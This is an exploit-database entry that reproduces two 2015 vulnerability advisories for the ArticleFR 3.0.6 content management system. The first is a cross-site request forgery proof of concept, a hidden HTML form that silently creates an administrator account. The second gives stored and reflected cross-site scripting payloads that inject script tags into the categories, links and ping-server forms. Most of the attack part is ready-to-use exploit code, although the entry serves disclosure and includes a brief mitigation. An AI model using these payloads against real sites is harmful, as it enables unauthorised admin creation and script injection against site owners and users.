ArticleFR 3.0.6 CSRF Add Admin Exploit

vendor:

ArticleFR

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

CSRF

CWE

Product Name: ArticleFR

Affected Version From: 3.0.6

Affected Version To: 3.0.6

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: nginx/1.6.2, PHP

2015

ArticleFR 3.0.6 CSRF Add Admin Exploit

The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Perform validity checks to verify HTTP requests and ensure that administrative actions require proper authentication.

Source

Exploit-DB raw data:


ArticleFR 3.0.6 CSRF Add Admin Exploit


Vendor: Free Reprintables
Product web page: http://www.freereprintables.com
Affected version: 3.0.6

Summary: A lightweight fully featured content (article / video)
management system. Comes with a pluginable and multiple module
framework system.

Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user
visits a malicious web site.

Tested on: nginx/1.6.2
           PHP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5248
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5248.php


21.06.2015

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<html>
  <body>
    <form action="http://127.0.0.1/dashboard/users/create/" method="POST">
      <input type="hidden" name="username" value="thricer" />
      <input type="hidden" name="name" value="The_Hacker" />
      <input type="hidden" name="password" value="s3cr3t" />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="hidden" name="website" value="http://www.zeroscience.mk" />
      <input type="hidden" name="blog" value="zsl" />
      <input type="hidden" name="membership" value="admin" />
      <input type="hidden" name="isactive" value="active" />
      <input type="hidden" name="submit" value="Create" />
      <input type="submit" value="Request" />
    </form>
  </body>
</html>

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ArticleFR 3.0.6 Multiple Script Injection Vulnerabilities


Vendor: Free Reprintables
Product web page: http://www.freereprintables.com
Affected version: 3.0.6

Summary: A lightweight fully featured content (article / video)
management system. Comes with a pluginable and multiple module
framework system.

Desc: ArticleFR suffers from multiple stored cross-site scripting
vulnerabilities. The issues are triggered when input passed via the
POST parameter 'name' in Categories, POST parameters 'title' and
'rel' in Links and GET parameter 'url' in PingServers module is
not properly sanitized before being returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.

Tested on: nginx/1.6.2
           PHP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5247
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5247.php


21.06.2015

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POST 'name' Categories Stored XSS:
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<html>
  <body>
    <form action="http://127.0.0.1/dashboard/settings/categories/" method="POST">
      <input type="hidden" name="name" value='"><script>alert(1)</script>' />
      <input type="hidden" name="parent" value="0" />
      <input type="hidden" name="submit" value="Add" />
      <input type="submit" value="XSS #1" />
    </form>
  </body>
</html>


POST 'title', 'rel' Links Stored XSS:
------------------------------------
<html>
  <body>
    <form action="http://127.0.0.1/dashboard/settings/links/" method="POST">
      <input type="hidden" name="title" value='"><script>alert(2)</script>' />
      <input type="hidden" name="url" value="http://www.zeroscience.mk" />
      <input type="hidden" name="rel" value='"><script>alert(3)</script>' />
      <input type="hidden" name="submit" value="Add" />
      <input type="submit" value="XSS #2 and #3" />
    </form>
  </body>
</html>


POST 'url' Ping Server Reflected XSS:
-------------------------------------
<html>
  <body>
    <form action="http://127.0.0.1/dashboard/tools/pingservers/" method="POST">
      <input type="hidden" name="url" value='http://www.zeroscience.mk"><script>alert(4)</script>' />
      <input type="hidden" name="submit" value="Add" />
      <input type="submit" value="XSS #4" />
    </form>
  </body>
</html>